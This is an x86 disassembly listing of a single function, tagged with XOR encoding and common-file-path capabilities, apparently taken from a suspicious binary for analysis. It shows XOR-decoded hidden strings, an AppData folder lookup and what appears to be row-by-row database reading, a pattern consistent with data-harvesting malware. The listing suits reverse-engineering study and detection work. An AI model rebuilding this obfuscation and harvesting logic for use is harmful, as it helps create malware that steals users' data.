Function at 0x433d40
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x524d35
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x348
push esi
mov esi, ecx
mov byte [ebp - 0x1d], dl
mov dword [ebp - 0x114], esi
push edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00484a10
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xa8]
movaps xmm0, xmmword [0x548080]
sub esp, 8
mov eax, esp
mov dword [ebp - 0x18], 1
mov byte [ebp - 0x110], 0xef
movups xmmword [ebp - 0x10f], xmm0
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00480ea0
add esp, 8
mov dword [ebp - 4], 4
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x110], al
inc ecx
cmp ecx, 7
jb 0x433de3
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x110]
mov byte [ebp - 0x109], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433e20
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402b80
mov dword [ebp - 0x18], 0x40001
mov byte [ebp - 4], 5
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
mov ecx, esi
cmovae eax, dword [ebp - 0x64]
push eax
call fcn.00486ff0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0xa8]
mov byte [edi], cl
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov byte [ebp - 0xa8], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xa8]
mov dword [edi + 8], eax
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x9c], esi
call fcn.00480b00
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x433ed0
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433ec6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
push 0x104
lea eax, [ebp - 0x358]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x358]
push eax
movzx eax, byte [ebp - 0x1d]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x358]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433f11
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x1c]
sub eax, edx
cmp eax, ecx
jb 0x43543f
cmp dword [ebx + 0x20], 0x10
lea eax, [ebx + 0xc]
push edx
cmovae eax, dword [ebx + 0xc]
push eax
push ecx
lea eax, [ebp - 0x358]
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x140]
call fcn.0048aa20
mov eax, 0x140001
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 7
xor edi, edi
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x90], edi
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x68], edi
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 8
jne 0x4344c2
sub esp, 0x18
lea eax, [ebp - 0x140]
mov ecx, esp
push eax
call fcn.00483010
push edi
mov dl, 1
lea ecx, [ebp - 0x80]
call fcn.00427910
add esp, 0x1c
mov byte [ebp - 4], 9
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x80]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x434086
lea ecx, [ebp - 0x80]
call fcn.00485200
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x434009
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433fff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x435444
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x43403d
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434033
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x435444
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x38]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
cmp ecx, 0x10
jb 0x435421
mov edx, dword [ebx + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435417
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x435444
jmp 0x435417
xor ecx, ecx
mov dword [ebp - 0x48], ecx
test eax, eax
je 0x4344b4
xor edi, edi
mov dword [ebp - 0x40], edi
nop dword [eax + eax]
xorps xmm0, xmm0
mov byte [ebp - 0xd8], 0xdb
add edi, esi
movq qword [ebp - 0xd7], xmm0
mov word [ebp - 0xcf], 0
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xd8], al
inc ecx
cmp ecx, 1
jb 0x4340c0
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xd8]
mov byte [ebp - 0xd7], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x434100
sub ecx, edx
lea eax, [ebp - 0xd8]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x20000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae edx, dword [ebp - 0x64]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x434140
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x130]
sub eax, esi
cmp eax, ecx
jb 0x43543f
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push ecx
cmovae eax, dword [ebp - 0x140]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3c]
call fcn.0048aa20
mov eax, dword [ebp - 0x14]
or eax, 0x10000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov esi, esp
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x1c], esi
push edi
call fcn.00482d90
xorps xmm0, xmm0
lea ecx, [ebp - 0x8c]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
xor dl, dl
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
push 0
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
or eax, 0x8000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
call fcn.00427910
add esp, 0x1c
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x434232
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434228
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x43427c
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434272
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x88]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x8c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x434471
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
test eax, eax
je 0x434471
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebx + 0x38], 0x10
lea ecx, [esi + eax]
mov eax, dword [ecx + 0x10]
lea esi, [ebx + 0x24]
cmovae esi, dword [ebx + 0x24]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], esi
jb 0x4342d5
mov ecx, dword [ecx]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebx + 0x34]
cmp edx, eax
ja 0x43443f
sub eax, edx
test edx, edx
je 0x4343a0
movsx edx, byte [esi]
inc eax
add eax, ecx
mov dword [ebp - 0x74], edx
mov dword [ebp - 0xc8], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.004fe8c0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x43443f
mov ecx, esi
mov edx, edi
mov esi, dword [ebx + 0x34]
sub esi, 4
jb 0x434331
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x434336
add edx, 4
add ecx, 4
sub esi, 4
jae 0x434320
cmp esi, 0xfffffffc
je 0x43436a
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x434363
cmp esi, 0xfffffffd
je 0x43436a
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x434363
cmp esi, 0xfffffffe
je 0x43436a
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x434363
cmp esi, 0xffffffff
je 0x43436a
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x43436a
sbb eax, eax
or eax, 1
jmp 0x43436c
xor eax, eax
test eax, eax
je 0x434394
mov eax, dword [ebp - 0xc8]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x74]
push edi
call fcn.004fe8c0
mov esi, dword [ebp - 0x1c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x434310
jmp 0x43443f
sub edi, dword [ebp - 0x24]
cmp edi, 0xffffffff
je 0x43443f
mov esi, dword [ebp - 0x90]
mov eax, 0x2aaaaaab
mov ecx, esi
xor edi, edi
sub ecx, dword [ebp - 0x70]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x1c], eax
je 0x43440c
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x80]
mov esi, dword [ebp - 0x70]
mov dword [ebp - 0x74], ecx
mov edx, dword [ecx + 0x10]
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
jb 0x4343dc
mov eax, dword [ecx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x4343e6
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.00492d00
add esp, 8
test al, al
jne 0x43443f
mov ecx, dword [ebp - 0x74]
inc edi
add esi, 0x18
mov edx, dword [ecx + 0x10]
cmp edi, dword [ebp - 0x1c]
jb 0x4343d2
mov esi, dword [ebp - 0x90]
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x40]
push eax
cmp esi, dword [ebp - 0x68]
je 0x43442d
mov ecx, esi
call fcn.00483010
add esi, 0x18
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x6c], esi
jmp 0x43443f
push esi
lea ecx, [ebp - 0x70]
call fcn.0048fcd0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x88]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x8c]
sub ecx, esi
add dword [ebp - 0x44], 0x18
inc dword [ebp - 0x4c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
jb 0x4342b3
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 9
call fcn.00485200
mov ecx, dword [ebp - 0x7c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x80]
sub ecx, esi
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x48]
add edi, 0x18
imul ecx
mov dword [ebp - 0x40], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x48], eax
jb 0x4340a0
mov edi, dword [ebp - 0x90]
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 8
call fcn.00485200
jmp 0x434528
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0xf
push eax
push 0
lea ecx, [ebp - 0x70]
call fcn.0048fbb0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x434525
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43451b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x435444
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov edi, dword [ebp - 0x6c]
mov ecx, edi
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x70]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4345d1
xorps xmm0, xmm0
mov dword [ebp - 0x54], eax
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], al
mov byte [ebp - 4], 0x10
cmp edi, dword [ebp - 0x68]
je 0x434589
movups xmmword [edi], xmm0
mov dword [edi + 0x10], eax
lea ecx, [eax + 0xf]
movups xmm0, xmmword [ebp - 0x64]
mov dword [edi + 0x14], eax
mov byte [ebp - 0x64], al
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x54]
movq qword [edi + 0x10], xmm0
add edi, 0x18
mov dword [ebp - 0x6c], edi
jmp 0x43459c
lea eax, [ebp - 0x64]
push eax
push edi
lea ecx, [ebp - 0x70]
call fcn.0048fbb0
mov edi, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x50]
mov byte [ebp - 4], 8
cmp ecx, 0x10
jb 0x4345d1
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4345c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x435444
push ecx
push edx
call fcn.004fb0f1
add esp, 8
sub edi, dword [ebp - 0x70]
mov eax, 0x2aaaaaab
imul edi
xor esi, esi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x40], esi
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xc8], eax
je 0x4353a2
nop word [eax + eax]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xa0]
push 0
mov byte [ebp - 0xa8], 0
call fcn.00484a10
sub esp, 8
mov byte [ebp - 4], 0x12
mov eax, esp
lea ecx, [ebp - 0x150]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00480ea0
add esp, 8
mov byte [ebp - 4], 0x13
lea eax, [esi + esi*2]
mov ecx, dword [ebp - 0x70]
lea edi, [ecx + eax*8]
mov al, byte [ebp - 0xa8]
mov dword [ebp - 0x48], edi
test al, al
jne 0x4346b9
push 8
mov byte [ebp - 0xa8], 1
call fcn.004fae70
mov esi, eax
add esp, 4
lea eax, [ebp - 0x1d]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0x14
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004fae70
mov byte [ebp - 4], 0x13
add esp, 4
mov dword [ebp - 0x90], 0
mov dword [ebp - 0xa0], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x4346c7
cmp al, 1
jne 0x435449
mov esi, dword [ebp - 0xa0]
push edi
mov ecx, esi
call fcn.00484be0
mov byte [ebp - 4], 0x12
mov edi, eax
mov cl, byte [ebp - 0x150]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x148]
mov byte [ebp - 0x150], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x150]
mov dword [edi + 8], eax
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], esi
call fcn.00480b00
cmp byte [ebx + 8], 0
xorps xmm0, xmm0
je 0x434754
movups xmmword [ebp - 0x180], xmm0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], 0
mov byte [ebp - 4], 0x17
lea edi, [ebp - 0x180]
mov esi, dword [ebp - 0x14]
or esi, 2
jmp 0x434848
mov byte [ebp - 0x8b], 0xdb
xor ecx, ecx
movq qword [ebp - 0x8a], xmm0
mov word [ebp - 0x82], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x8b], al
inc ecx
cmp ecx, 1
jb 0x434770
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x8b]
mov byte [ebp - 0x8a], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4347b0
sub ecx, edx
lea eax, [ebp - 0x8b]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x4000
mov esi, dword [ebp - 0x48]
lea edx, [ebp - 0x3c]
mov dword [ebp - 4], 0x18
or eax, 4
cmp dword [ebp - 0x28], 0x10
mov dword [ebp - 0x14], eax
cmovae edx, dword [ebp - 0x3c]
mov esi, dword [esi + 0x10]
mov ecx, edx
mov dword [ebp - 0x18], eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4347f7
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x43543f
mov edi, dword [ebp - 0x48]
mov eax, edi
cmp dword [edi + 0x14], 0x10
jb 0x43481c
mov eax, dword [edi]
push ecx
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1cc]
call fcn.0048aa20
mov esi, dword [ebp - 0x14]
or esi, 0x1000
lea edi, [ebp - 0x1cc]
mov dword [ebp - 4], 0x19
or esi, 8
xorps xmm0, xmm0
mov dword [ebp - 0x18], esi
mov byte [ebp - 0x7f], 0xdb
xor ecx, ecx
movq qword [ebp - 0x7e], xmm0
mov word [ebp - 0x76], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 1
jb 0x434860
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x7f]
mov byte [ebp - 0x7e], 0
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4348a0
sub ecx, edx
lea eax, [ebp - 0x7f]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00402b80
or esi, 0x200
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0x1a
lea edx, [ebp - 0xc0]
cmp dword [ebp - 0xac], 0x10
cmovae edx, dword [ebp - 0xc0]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4348e5
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x130]
sub eax, esi
cmp eax, ecx
jb 0x43543f
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push ecx
cmovae eax, dword [ebp - 0x140]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1b4]
call fcn.0048aa20
mov esi, dword [ebp - 0x14]
or esi, 0x100
mov dword [ebp - 0x18], esi
push edi
lea eax, [ebp - 0x1b4]
mov byte [ebp - 4], 0x1b
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x19c]
call fcn.0048a830
or esi, 0x80
mov dword [ebp - 0x18], esi
lea eax, [ebx + 0x24]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x19c]
call fcn.00482d90
mov dword [ebp - 0x54], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x50], 0
or esi, 0x400
movups xmm0, xmmword [eax]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x54], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x188]
cmp ecx, 0x10
jb 0x4349ed
mov edx, dword [ebp - 0x19c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4349e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x188], 0xf
mov byte [ebp - 0x19c], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x1a0]
cmp ecx, 0x10
jb 0x434a46
mov edx, dword [ebp - 0x1b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434a3c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0xac]
cmp ecx, 0x10
jb 0x434a84
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434a7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x14]
test al, 8
je 0x434ad5
mov ecx, dword [ebp - 0x1b8]
and eax, 0xfffffff7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x434ad5
mov edx, dword [ebp - 0x1cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434ac8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0x22
test al, 4
je 0x434b1d
mov ecx, dword [ebp - 0x28]
and eax, 0xfffffffb
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x434b1d
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434b10
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0x23
test al, 2
je 0x434b68
mov ecx, dword [ebp - 0x16c]
and eax, 0xfffffffd
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x434b68
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434b5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x64]
lea edx, [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x64]
call fcn.00419620
test eax, eax
jne 0x43525b
movaps xmm0, xmmword [0x549460]
xor ecx, ecx
movups xmmword [ebp - 0x24d], xmm0
mov byte [ebp - 0x1dd], 0xd7
movaps xmm0, xmmword [0x549770]
movups xmmword [ebp - 0x23d], xmm0
movaps xmm0, xmmword [0x548d30]
movups xmmword [ebp - 0x22d], xmm0
movaps xmm0, xmmword [0x548820]
movups xmmword [ebp - 0x21d], xmm0
movaps xmm0, xmmword [0x5486e0]
movups xmmword [ebp - 0x20d], xmm0
movaps xmm0, xmmword [0x5488f0]
movups xmmword [ebp - 0x1fd], xmm0
movaps xmm0, xmmword [0x548900]
movups xmmword [ebp - 0x1ed], xmm0
movaps xmm0, xmmword [0x546f20]
movups xmmword [ebp - 0x1dc], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x24d], al
inc ecx
cmp ecx, 0x77
jb 0x434c00
mov dword [0x55d5b4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x24d]
mov byte [ebp - 0x1d6], 0
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x434c45
sub ecx, edx
lea eax, [ebp - 0x24d]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
lea esi, [ebp - 0xc0]
mov edx, dword [ebp - 0xac]
or eax, 0x2000
mov ecx, dword [ebp - 0xc0]
cmp edx, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmovae esi, ecx
setae al
test al, al
je 0x434cb7
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x434cad
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push edx
push ecx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x44]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
mov edx, esi
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
call fcn.004e0800
add esp, 0x14
test eax, eax
jne 0x435253
mov edi, dword [ebp - 0x44]
mov ecx, edi
call fcn.004bd060
cmp eax, 0x64
jne 0x4351d7
lea eax, [ebp - 0xc1]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x108]
push 0
mov byte [ebp - 0x110], 0
call fcn.00484a10
mov byte [ebp - 4], 0x25
test edi, edi
je 0x434d7d
cmp dword [edi + 0x2c], 0
je 0x434d58
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x434d58
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x434d53
push eax
call dword [0x55ad18]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x434d82
mov eax, dword [edi]
test eax, eax
je 0x434d7d
mov eax, dword [eax + 0x44]
test eax, eax
je 0x434d6f
push eax
call dword [0x55ad18]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004ab9b0
add esp, 0xc
mov ecx, 0x5404d0
mov dl, 1
call fcn.004b9ed0
mov dword [ebp - 0x1c], eax
test edi, edi
je 0x434de3
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x434dc6
cmp byte [esi + 0x1e], 0
jne 0x434da9
mov edx, esi
cmp ecx, 0xc0a
jne 0x434dc1
push 0
push 7
push esi
call fcn.004ab9b0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x434dcd
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x434de3
push eax
call dword [0x55ad20]
add esp, 4
xorps xmm0, xmm0
mov word [ebp - 0xf3], 0xfaf2
push 0x18
mov byte [ebp - 0xf1], 0xe5
movq qword [ebp - 0xf0], xmm0
mov word [ebp - 0xe8], 0
movq qword [ebp - 0x158], xmm0
mov byte [ebp - 0x160], 3
call fcn.004fae70
mov esi, eax
add esp, 4
mov dword [ebp - 0x74], esi
